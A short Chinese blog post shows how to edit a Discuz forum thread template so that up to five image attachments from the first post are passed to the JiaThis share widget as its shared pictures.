
张 清月阅读(831)

jiathis的图片分享的时候,并没有主动设置需要分享的图片这里给个简单的discuz代码解决分享图片问题。

修改模板文件:

template/default/forum/viewthread_node.htm
<!--{if !IS_ROBOT}-->
<!--{if !$postcount && !$_G['forum_thread']['archiveid'] && $post['first'] }-->
//新增开始
<!--{if !$postcount && !$_G['forum_thread']['archiveid'] && $post['first'] }-->
<!--{eval $i =0}-->
<!--{loop $post[attachments] $att}-->
<!--{if $i < 5}-->
<!--{if $att['isimage']==1}-->
<!--{eval 
$threadattachmenturl[] = $att['url'].$att['attachment'];
}-->
<!--{/if}-->
<!--{/if}-->
<!--{eval $i++}-->
<!--{/loop}-->	
//新增结束
jiathis代码下方增加:
<script type="text/javascript" >
<!--{if $threadattachmenturl != null}-->
var jiathis_config = {	
'pic':'{echo implode('||',$threadattachmenturl)}'	
};	
<!--{/if}-->	
</script>